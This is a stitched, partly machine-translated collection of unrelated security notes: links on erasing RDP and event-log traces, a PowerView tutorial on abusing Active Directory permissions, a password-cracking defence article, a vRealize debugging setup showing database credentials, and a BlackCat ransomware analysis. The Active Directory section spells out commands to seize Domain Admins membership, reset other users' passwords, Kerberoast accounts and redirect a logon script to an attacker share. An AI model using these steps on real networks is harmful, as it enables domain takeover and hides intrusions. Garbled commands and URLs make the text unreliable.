https://github.com/qax-a-team/eventcleaner

clear rdpログイントレース

https://Blog.csdn.net/m0_37552052/article/details/82894963

https://Blog.csdn.net/coco56/article/details/102671007#:~:Text=Win10%E7%B3%E7%E7%BB%9F%E6%80%8E%EE49%8888%8%8%A0です99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AEC BC%80%E8%BF%90%E8%A1%8C%EF%BC%BC%BE%E8%BE%93%E5%85%A5%201%20%E5%B9%B6%E7%A1%AE%E5%AEE%9a%E3%802%202、E5%A8%A8%A8%A8% C%B0%E5%9D%80%E6%A0%8F%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 %B8%8B%E5%9C%B0%E5%9D%80%E7%84%B6%E5%90%8E%E5%9B%9E%E8%BD%A6%E 5%8D%B3%E5%8F%AF%E8%BF%9B%E8%A1%8C%E7%9C%8B%E5%88%B0%E6%89%80 %E6%9C%89%E7%9a%84%E5%B7%B2%E8%BF%9e%E6%8E%A5%E8%BF%87%E7%9a%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%e8%A1%e7%Ae%97%E6%9c%5CHKEY_CURRENT_USER 20Client%5CDEFAULT%201%203%20%E5%8F%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9C%80%E8%A6%81%E7%AE%A1%E7%90%86%E7%9A%84%E8%AE%B0%E5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

イベントID:1149:RDPを使用して、どのソースIPがローカルマシンにログインしたかを記録します。登録:HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Terminal Server \ Servers \

現在のホストがログインしているサーバーがどのパスを記録しますか。イベントID:5156ログ:マシンが他のサーバーのポート3389にアクセスしたことを確認できます。 4624 ——アカウントが正常にログインしました

4625 ——アカウントをログインできません

1149 ——ユーザー認証が成功しました

元のリンクアドレスから転載:https://forum.butian.net/share/3657

Active Directory ACLS \ ACES許可の使用

3https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACLとACEは、アクセス制御に関連する概念であり、オペレーティングシステムとネットワーク環境で一般的に使用されています。これらの詳細な説明は次のとおりです。

DACL(裁量的アクセス制御リスト):DACLは、特定のオブジェクト(ファイル、フォルダー、レジストリキーなど)にアクセスできる人を決定するために使用されるアクセス制御リストです。 DACLは、アクセス制御エントリ(ACE)のリストです。 ACE(アクセス制御エントリ):ACEはDACLの基本ユニットであり、オブジェクトへのアクセスを許可または拒否するために使用されます。各ACEは、セキュリティプリンシパル(ユーザー、グループ、コンピューターなど)と、セキュリティプリンシパルが持っている権限を定義します。 DACLでは、各ACEには次の情報が含まれています。

セキュリティプリンシパル(SID):アクセスが許可または拒否されているユーザー、グループ、またはコンピューターを識別する一意の識別子。アクセス許可:特定の操作または許可(読み取り、書き込み、実行など)を示します。アクセスマスク:実際に許可または拒否されている権限を指定します。補助アクセスマスク:場合によっては、他の条件または制限を指定するために使用されます。オブジェクトにアクセスすると、システムはDACLのACEに基づいて検証します。ユーザーIDとACEが要求された許可を付与するACEがある場合、アクセスが許可されます。一致するエースがない場合、またはユーザーのアイデンティティに一致するエースがあるが、エースが要求された許可を拒否した場合、アクセスは拒否されます。

ドメイン管理者のエースは次のとおりです

3jt5ucpwhi0800.png

その中で、私たちが心配している権限は次のとおりです

Genericall-オブジェクトの完全な権利(ユーザーをグループに追加するか、ユーザーのパスワードをリセット)GenericWrite-オブジェクトの属性を更新します。 (セルフメンバーシップ) - GroupGenericallに自分自身を追加する機能- オブジェクトに完全な権限を持っています(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど)。 genericwrite-オブジェクトのプロパティ(ログインスクリプトなど)を更新します。 WriteOwner-オブジェクトの所有者を変更して、攻撃者が制御するユーザーになり、オブジェクトを引き継ぎます。 writedAcl-オブジェクトのエースを変更し、攻撃者にオブジェクトのすべての制御を許可します。 AllextendedRights-グループにユーザーを追加したり、パスワードをリセットする機能。 ForCechangePassWord-ユーザーのパスワードを変更する機能。自己(自己科学) - グループに自分自身を追加する能力。セルフメンバーシップ - この許可とは、アカウントがグループに追加できる許可を指します(特定のグループの高度なアクセス許可にACEを追加する必要があります。つまり、グループオブジェクト用です)、つまり、オブジェクトは特定のグループの自己メンバーシップアイデンティティです。

genericall

ユーザーアカウントへの一般的な権限

PowerViewツールを使用して、ユーザーの一般的な許可を表示します。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

//ユーザーman1の広告オブジェクトのアクセス制御リスト(ACL)を取得し、「genericall」許可でアイテムをフィルタリングして返します

get -objectacl -samaccountname man1 -solveguids | ? {$ _。activedirectoryrights -eq 'genericall'}

Spotlessユーザーには、委任する一般的な許可があることがわかります。したがって、Spotlessユーザーのアクセス許可が取得されている場合、Delegateユーザーを引き継ぐことができます。

s23oldcwvcm801.png

**パスワードの変更:**パスワードを直接変更して、デリゲートユーザーを変更します。ネットユーザーusernamepassword /domain

** KerberoAsting Attack:** DelegateユーザーにSPNを設定し、SpotlessユーザーのTGTを介してすべてのサービスSTSを要求し、デリゲートユーザーのハッシュ暗号化されたSTを取得してクラックします。 #SPNを設定します

set -domainobject -credential $ creds -identity username -set @{servicePrincipalName='fake/Nothing'}

#ハッシュを取得します。\ rubeus.exe kerberost /user:username /nowrap

#SPNをきれいにします

set -domainobject -credential $ creds -identity username -clear serviceprincipalname -verbose

https://github.com/shutdownrepo/targetedkerberoast

python3 Targetedkerberost.py -domain.local -u username -p password -v

** asReproast攻撃:**認証前を無効にすることでユーザーを控えめにすることができ、その後アスレプロスト攻撃を実行できます。 set -domainobject -identity username -xor @{useraccountcontrol=4194304}}

ユーザーグループへの一般的な権限

//ドメイン管理者グループのdistinguedname値を取得する

get-netgroup「ドメイン管理者」

hzs2p51eses802.png

//ドメイン管理グループのACLを取得します

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=vvvv1、dc=com'}

wcstoxfmdan803.png

Spotlessユーザーには、ドメイン管理者グループに一般的な許可があり、攻撃できることがわかりました。

自分自身(ユーザーの染みのない)または他のユーザーをドメイン管理グループに追加します。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

Active DirectoryまたはPowerSploitモジュールを攻撃に使用することもできます。

#Active Directoryモジュール付き

Add -AdgroupMember -Identity 'Domain Admins' -Members Skitless

#POWERSPLOITで

add -netgroupuser -username spotless -groupname 'domain管理者' -domain 'offence.local'

機械またはサービスアカウントへの一般的な権限

マシンアカウントまたはサービスアカウントに一般的な許可または汎用の権限がある場合は、リソースベースの制約委任攻撃の使用を検討できます。詳細については、《内网横向移动-基于资源的约束委派》を参照してください。サービスアカウントについては、上記のユーザーアカウントの攻撃方法を検討することもできます。または、シャドウクレデンシャルを使用して攻撃します。 Shadow資格情報3https://book.hacktricks.xyz/window-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapps-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://Shenaniganslabs.io/2019/01/28/wagging-the-dog.html

writeproperty

ユーザーグループへのwriteproperty許可

制御されたユーザーは、ドメイン管理者グループに執筆許可を持っています。

jwuwxwzr5ik804.png

このユーザーをドメイン管理グループに追加して、許可を増やすことができます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

self(selfmembership)

self(selfmembership)ユーザーグループへの権限

制御されたユーザーは、ドメイン管理者グループに自己(自己記録)許可を持っています。

yoxwfirubzc805.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

writeproperty(selfmembership)

writeproperty(自己メンバーシップ)ユーザーグループへの許可

制御されたユーザーは、ドメイン管理者グループにwriteproperty(自己科学者)許可を持っています。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

lf5clhyqr4s806.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

forcechangepassword

forcechangepasswordユーザーアカウントへの権限

制御されたアカウントが、ターゲットアカウントのACLに「ユーザーフォースチェンジパスワード」オブジェクトタイプであり、「拡張」許可を持つ場合、ユーザーの現在のパスワードを知らずにユーザーのパスワードをリセットできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

get -objectacl -samaccountName Delegate -ResolveGuids | ? {$ _。識別reference -eq 'obsent \ spotless'}

phes33xwmxj807.png

ツールPowerViewを使用して、パスワードを変更します。

set -domainuserpassword-アイデンティティデリゲート-verbose

1drdg3mv3hi808.png

または、次のステートメントを使用します

$ c=get-credential

set -domainuserpassword -identity Delegate -AccountPassword $ c.Password -verbose

または単一行の文に要約されています

set -domainuserpassword -identity Delegate -AccountPassWord(convertto secureString '123456' -Asplaintext -force)-verbose

axawsi5kna5809.png

書き込み所有者

ユーザーグループへの書き込み所有者

攻撃が実行される前に、ドメイン管理者の所有者はドメイン管理者でした。

olmycw3q1or811.png

特定のグループのACEを列挙した後、コントロールの下にあるユーザーが「書き込み所有者」の許可を持っており、その許可が「ObjectType:all」に適用されることがわかった場合、グループの所有者を変更できます。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

x2ng5xmi3sf813.png

「ドメイン管理者」オブジェクトの所有者をユーザーに変更することができます。ユーザーは「sketless」です。 「 - アイデンティティ」で指定されたSIDは、「ドメイン管理者」グループのSIDであることに注意する必要があります。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -Owneridentity「Spotless」-verbose

//SIDの名前Instad(HTB:リール)も使用できます

set -domainObjectOwner -Identity 'Domain Admins' -OwnerIdentity「Spotless」

genericwrite

genericwriteもアクセスマスクで識別されます。この許可は、ターゲットオブジェクトのプロパティ値を更新できます。 PowerViewのSet-DomainObjectメソッドを使用して、ターゲットプロパティの値を設定できます。

genericwriteユーザーアカウントへの許可

get -objectacl -ResolveGuids -SamacCountName Delegate | ? {$ _。識別reference -eq 'obsent \ spotless'}

制御されたユーザーSpotlessは、別のユーザー委任者に「WriteProperty」許可を持っています。この許可は、「スクリプトパス」オブジェクトタイプに適用されます。これにより、攻撃者はDelegateユーザーのログインスクリプトパスを上書きすることができます。つまり、デリゲートユーザーが次にログインすると、システムが悪意のあるスクリプトを実行します。

52jxiwltlwx815.png

set -adobject -samaccountname delegate -propertyname scriptpath -propertyvalue '\\ 10.0.0.5 \ lettherlegitscript.ps1'

DelegateユーザーのログインスクリプトフィールドがADで更新されていることがわかります。

ykplxbbaeng817.png

ユーザーグループへのgenericwriteアクセス許可

を使用すると、グループのメンバーとして新しいユーザー(自分など)を追加できます。上記の《GenericAll-对用户组的GenericAll权限》操作に似ています。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

#クレジットを作成します

$ pwd=convertto -securestring 'justaweirdpwd!$' -asplaintext -force

$ creds=new-object System.management.automation.pscredential( 'domain \ username'、$ pwd)

#ユーザーをグループに追加します

Add -DomaIngroupMember -Credential $ creds -Identity 'Group name' -members 'username' -verbose

#ユーザーはそうでした

惡意行為者通常以用戶和管理員憑據為目標,因為黑客希望使用它們來訪問敏感數據。據Verizon 稱,在2021 年受到社會工程攻擊的數據中,憑據攻擊佔高達85%。為了竊取用戶憑據,黑客可以使用惡意軟件或各種密碼破解方法。

密碼策略薄弱和密碼破解缺乏保護是導致帳戶洩露的兩個最常見的漏洞。

在本文中,我們討論了密碼破解的危險,並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問,並提供有關如何配置Fail2ban 的分步指南,並分享我們自己在Viber 聊天機器人中配置Fail2ban 通知的經驗。

什麼是密碼破解?要訪問Web 應用程序,用戶需要在系統內創建配置文件。為此,用戶通常會創建一個登錄名和密碼作為保護帳戶訪問的憑據。根據應用程序類型,他們可能還必須提供其他數據,例如個人信息、消息和銀行賬戶。所有這些數據對威脅參與者都很有價值,他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。

在開發Web 應用程序時,必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則,如果攻擊者設法訪問用戶帳戶並暴露個人信息,Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭,他們也可能承擔經濟損失。

image.png

密碼破解的後果

竊取用戶數據的一種方法是密碼破解。

這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身並不一定是惡意的,它可以作為一種目標漏洞驗證技術用於安全測試。

密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行,以識別密碼較弱的帳戶。

——NIST SP 800-115信息安全測試和評估技術指南

在應用密碼破解技術時,黑客經常使用特殊的應用程序和工具來應用多種憑證變體,直到找到正確的配對。密碼破解應用程序每秒用於猜測密碼的憑據數量取決於攻擊者計算機的性能。此外,猜測用戶密碼所需的時間取決於密碼強度。

有多種密碼破解方法:image.png

密碼破解攻擊的類型

字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解字典,其中存儲了常用的密碼和熟悉的單詞,例如不同語言的名稱和地點。此類字典還可以包括黑客收集和添加的先前被盜的用戶憑據。字典攻擊是猜測弱密碼的一種快速方法,但通常對於不常見的強密碼它們不會成功。

蠻力攻擊是一種簡單的試錯法,專注於生成所有可能的密碼,直到一定長度。黑客檢查所有密碼組合,包括所有字母、數字和特殊符號的組合,從可能的最小密碼長度開始。可能的組合數量取決於密碼的長度。理論上,這種破解方法的成功率是100%。這只是時間問題,因為短密碼可以在幾分鐘內猜出,而非常長且複雜的密碼可能需要數十年才能破解。

彩虹攻擊。大多數應用程序使用哈希對用戶密碼進行加密,並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希的彩虹表來破解數據庫中的密碼哈希。

網絡釣魚。通過網絡釣魚,攻擊者誘騙用戶單擊電子郵件附件或URL 鏈接,導致他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。

反向蠻力。惡意行為者對多個用戶名使用通用密碼來訪問帳戶。

憑證填充。如果黑客知道被盜帳戶的用戶名和密碼,他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。根據Security eMagazine的數據,53% 的人承認為不同的帳戶使用相同的密碼。

希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此,讓我們探討如何保護用戶數據免遭密碼破解並減輕帳戶洩露的網絡安全風險。

保護您的Web 應用程序免受密碼破解的7 種方法為了保護您的產品的用戶帳戶不被盜用,您需要實施一種綜合方法。下面,我們將討論緩解密碼破解的七種最必要的網絡安全實踐。

image.png

保護您的Web 應用程序免受密碼破解的7 種方法

1. 引入嚴格的密碼管理政策密碼越複雜,黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則,以防止用戶創建弱憑據。

創建密碼規則列表時,請考慮研究頂級技術組織推薦和使用的內容。例如,您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議,並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。

密碼策略的常見最佳實踐包括:

马云惹不起马云密碼應包含特殊符號、數字以及小寫和大寫字母。

马云惹不起马云最小密碼長度應為八個符號。越長越好。

马云惹不起马云密碼應在指定時間段內過期和更改:每月一次、每三個月一次、每年兩次等。

马云惹不起马云您的應用程序應該有密碼歷史記錄,以便當用戶更改密碼時,它可以根據所有以前的密碼檢查新密碼。只有當它實際上是新密碼時,才應批准新密碼。

2.更改管理帳戶名稱避免使用“administrator”、“admin”或“root”等管理帳戶的明顯用戶名。此類用戶名很可能成為威脅行為者發起密碼破解攻擊時的第一個目標。

3.啟用多因素身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或多個步驟。

第一步通常需要傳統的登錄名和密碼。在以下步驟中,可能會要求用戶輸入SMS 中的安全代碼、使用令牌、提供指紋等。

即使威脅者成功猜出憑據,MFA 也將成為訪問用戶帳戶的另一個障礙。

4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案會收集有關您的基礎架構內所有用戶活動的信息,因此如果發生可能是密碼破解攻擊跡象的異常用戶行為,您可以發現它。

用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用,這些軟件可以分析收集的用戶活動數據、檢測異常情況,並阻止可疑的登錄嘗試或通知安全工程師潛在的威脅。

例如,此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人嘗試從不同的IP 地址或設備登錄,訪問控制工具可以應用其他MFA 方法或限制訪問。

5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此,請確保僅對受信任的IP 地址啟用對服務器的遠程訪問。

例如,您可以提供對在日常工作中需要訪問服務器的工程師的IP 地址的訪問權限。為此,您可以使用防火牆(如果您使用雲提供商服務,則可以使用安全組)。

6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如,這些可能是用於SSH 訪問的SSH 密鑰。這樣,管理員可以安全地遠程連接到服務器或其他機器,而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。

另一種無密碼訪問服務器的方法是使用硬件安全密鑰,如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。

在這種情況下,應禁用使用登錄名和密碼訪問服務器。應僅允許密鑰持有者訪問。如果密碼不存在,則無法破解密碼。

7.使用密碼破解保護服務最後但並非最不重要的一點是,有一些特殊工具旨在保護服務免受密碼破解。

通常,此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址,例如密碼失敗次數過多。這些工具中最受歡迎的是:

马云惹不起马云 SSH衛士

马云惹不起马云IPBan Pro

马云惹不起马云間諜日誌

马云惹不起马云Fail2ban

在Apriorit,我們更喜歡使用Fail2ban,因為它使用方便並且可以有效阻止潛在的惡意身份驗證嘗試。讓我們仔細看看Fail2ban 並討論如何在實踐中配置和使用它。

本文講述了保護您的Web 應用程序免受密碼破解的幾種方法,下文我們將介紹什麼是Fail2ban,以及它是如何工作的?

0x00 前言本文記錄從零開始搭建vRealize Operations Manager漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

vRealize Operations Manager安裝

vRealize Operations Manager漏洞調試環境配置

常用知識

0x02 vRealize Operations Manager安裝參考資料:

https://docs.vmware.com/cn/vRealize-Operations/8.6/com.vmware.vcom.vapp.doc/GUID-69F7FAD8-3152-4376-9171-2208D6C9FA3A.html

1.下載OVA文件下載頁面:

https://my.vmware.com/group/vmware/patch

下載前需要先註冊用戶,之後選擇需要的版本進行下載

選擇產品vRealize Operations Manager,需要注意pak文件為升級包,這裡選擇ova文件進行下載,如下圖

470e3b24a4fa22ed25accee854bfd13.png

經過篩選,只有版本vROps-8.3.0-HF2帶有ova文件,其他都是pak文件

2.安裝(1)在VMware Workstation中導入OVA文件

配置頁面中選擇Remote Collecto(Standard),如下圖

d0470e08f1149c41824f70d1e940767.png

等待OVA文件導入完成後,將會自動開機進行初始化,初始化完成後如下圖

0276921e06921030d2a1fb014b3b149.png

(2)配置

訪問配置頁面https://192.168.1.103/

選擇快速安裝EXPRESS INSTALLATION

設置admin口令

3.設置root用戶口令在虛擬機中選擇Login,輸入root,設置root用戶初始口令

4.啟用遠程登錄以root身份執行命令:

service sshd start

5.開啟遠程調試功能(1)查看所有服務的狀態

systemctl status

結果如下圖

3b07cdfda1d0ff8e53a960943bb3b71.png

定位到web相關的服務為vmware-casa.service

(2)查看vmware-casa.service的具體信息

systemctl status vmware-casa.service

結果如下圖

定位出加載的文件/usr/lib/vmware-casa/bin/vmware-casa.sh,查看文件內容並進一步分析後可定位出需要的配置文件/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh

(3)添加調試參數

在變量JVM_OPTS中添加調試參數:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

(4)重啟服務

service vmware-casa restart

(5)查看調試參數是否更改:

ps -aux |grep vmware-casa

如下圖

4d4d934869531ec922254794f3c0309.png

(6)打開防火牆

這裡選擇清空防火牆規則:iptables -F

(7)使用IDEA設置遠程調試參數

IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》

0x03 常用知識1.常用路徑web目錄: /usr/lib/vmware-casa/casa-webapp/webapps/

日誌路徑: /storage/log/vcops/log/cas

admin用戶的口令hash: /storage/vcops/user/conf/adminuser.properties

數據庫口令位置: /var/vmware/vpostgres/11/.pgpass

2.數據庫連接數據庫口令內容示例:

localhost:5432:vcopsdb:vcops:J//mJcgppVIuGgzEuKIHGee9

localhost:5433:vcopsdb:vcops:keoMG4cmN+0jyD+7NAoED1HV

localhost:5433:replication:vcopsrepl:keoMG4cmN+0jyD+7NAoED1HV連接數據庫1:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5432-dvcopsdb-Uvcops

J//mJcgppVIuGgzEuKIHGee9連接數據庫2:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dvcopsdb-Uvcops

keoMG4cmN+0jyD+7NAoED1HV連接數據庫3:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dreplication-Uvcopsrepl

keoMG4cmN+0jyD+7NAoED1HV3.版本識別識別方法:

通過api接口獲得配置信息,在配置信息中導出詳細的版本信息

訪問URL: https://ip /suite-api/docs/wadl.xml

回顯的數據為xml格式,在getCurrentVersionOfServer中會包含版本信息,如下圖

9ef0491a4f7ea3f3cb2709c45b37f77.png

Python實現細節:

由於回顯的數據為xml格式,存在轉義字符,在解析時首先處理轉義字符

示例代碼:

defescape(_str):

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace(''','\'')

return_str使用re進行字符串匹配時,由於數據跨行,需要加上參數re.MULTILINE|re.DOTALL

示例代碼:

pattern_data=re.compile(r'getCurrentVersionOfServer(.*?)/ns2:doc',re.MULTILINE|re.DOTALL)

versiondata=pattern_data.findall(escape(res.text))完整代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vRealizeOperationsManager_GetVersion.py

0x04 小結在我們搭建好vRealize Operations Manager漏洞調試環境後,接下來就可以著手對漏洞進行學習。

BlackCat 勒索軟件,也稱為ALPHV,是一種普遍的威脅,也是日益增長的勒索軟件即服務(RaaS) 經濟的典型代表。值得注意的是,它的非傳統編程語言(Rust)、多個目標設備和可能的入口點,以及與大量威脅活動組的關聯。雖然BlackCat 的到達和執行因部署它的攻擊者而異,但結果是相同的。即目標數據被加密,並洩露未繳納贖金用戶的隱私,及“雙重勒索”。

BlackCat 於2021 年11 月首次被發現,最初成為頭條新聞,因為它是最早用Rust 編程語言編寫的勒索軟件家族。通過使用現代語言作為其有效負載,該勒索軟件試圖逃避檢測,尤其是傳統的安全解決方案。 BlackCat 還可以針對多個設備和操作系統發起攻擊。 Microsoft 已觀察到針對Windows 和Linux 設備以及VMWare 實例的成功攻擊。

如上所述,RaaS附屬模型由多個攻擊者組成:訪問代理,他們攻擊網絡並維護持久性,開發工具的RaaS操作員,以及RaaS附屬機構,這些機構在最終發布勒索病毒之前,會進行其他活動,比如在網絡上橫向移動和竊取數據。因此,作為一個RaaS有效負載,BlackCat進入目標組織網絡的方式是不同的,這取決於部署它的RaaS附屬機構。例如,雖然這些攻擊者的常見入口向量包括遠程桌面應用程序和被攻擊的憑據,但我們也看到了一個攻擊者利用Exchange服務器漏洞來獲得目標網絡訪問。此外,至少有兩個已知的附屬公司正在採用BlackCat:DEV-0237(以前部署Ryuk、Conti 和Hive)和DEV-0504(以前部署Ryuk、REvil、BlackMatter 和Conti)。

這種變化和採用顯著增加了組織遇到BlackCat 的風險,並在檢測和防禦它方面帶來挑戰,因為這些攻擊者和組織有不同的策略、技術和程序(TTP)。因此,沒有兩個BlackCat 的部署看起來相同。

人為操作的勒索軟件攻擊(例如部署BlackCat 的那些攻擊)繼續發展,並且仍然是攻擊者通過攻擊獲利的首選方法之一。組織應考慮使用Microsoft 365 Defender 等綜合解決方案補充其安全最佳實踐和策略,該解決方案提供與各種威脅信號相關聯的保護功能,以檢測和阻止此類攻擊及其後續活動。

1.png

BlackCat 有效負載部署選項

2.png

BlackCat有效負載可以運行的命令列表

用戶帳戶控制(UAC) 繞過BlackCat 可以繞過UAC,這意味著即使負載從非管理員上下文中運行,它也會成功運行。如果勒索軟件沒有以管理權限運行,它會在dllhost.exe 下運行一個輔助進程,該進程具有加密系統上最大數量的文件所需的足夠權限。

域和設備枚舉勒索軟件可以確定給定係統的計算機名稱、設備上的本地驅動器以及設備上的AD 域名和用戶名。該惡意軟件還可以識別用戶是否具有域管理員權限,從而提高其勒索更多設備的能力。

自我傳播BlackCat 發現所有連接到網絡的服務器。該過程首先廣播NetBIOS 名稱服務(NBNC) 消息來檢查這些附加設備。然後,勒索軟件嘗試使用配置中指定的憑據通過PsExec 在應答服務器上複製自身。

阻礙恢復的辦法BlackCat 有許多阻礙恢復的辦法。以下是有效負載可能啟動的命令及其用途:

修改引導加載程序

3.png

刪除卷影副本

4.png

清除Windows 事件日誌

5.png

識別可能導致BlackCat 勒索軟件的攻擊與RaaS 模型一致,攻擊者利用BlackCat 作為其正在進行的活動的額外負載。雖然它們的TTP 基本保持不變(例如,使用Mimikatz 和PsExec 等工具部署勒索軟件有效負載),但與BlackCat 相關的攻擊具有不同的入口向量,具體取決於進行攻擊的勒索軟件附屬機構。因此,這些攻擊的勒索步驟也可能明顯不同。

例如,部署BlackCat 的一家附屬機構利用未打補丁的Exchange 服務器或使用被盜憑據訪問目標網絡。

案例研究1:通過未打補丁的Exchange進入在此案例中,攻擊者利用未打補丁的Exchange服務器進入目標組織。

6.png

通過Exchange漏洞利用觀察到BlackCat勒索軟件攻擊鏈

在利用Exchange漏洞時,攻擊者啟動了以下發現命令,以收集有關他們攻擊的設備信息:

Cmd.exe,ver,systeminfo ——用於收集操作系統信息;

net.exe——確定環境中的域計算機、域控制器和域管理員;

執行這些命令後,攻擊者瀏覽目錄並發現了一個密碼文件夾,該文件夾授予他們訪問帳戶憑據的權限,他們可以在攻擊的後續階段使用。他們還使用del 命令刪除與他們最初的洩露活動相關的文件。

然後,攻擊者利用網絡使用和竊取的憑證來安裝一個網絡共享,並開始使用多種方法的組合來尋找潛在的橫向移動目標。首先,他們使用之前收集的設備名稱作為節點的WMIC.exe,啟動命令whoami /all,並ping google.com以檢查網絡連接。然後,結果的輸出被寫入掛載的共享上的.log文件。其次,攻擊者使用PowerShell.exe和cmdlet Get-ADComputer以及一個過濾器來收集最後一次登錄事件。

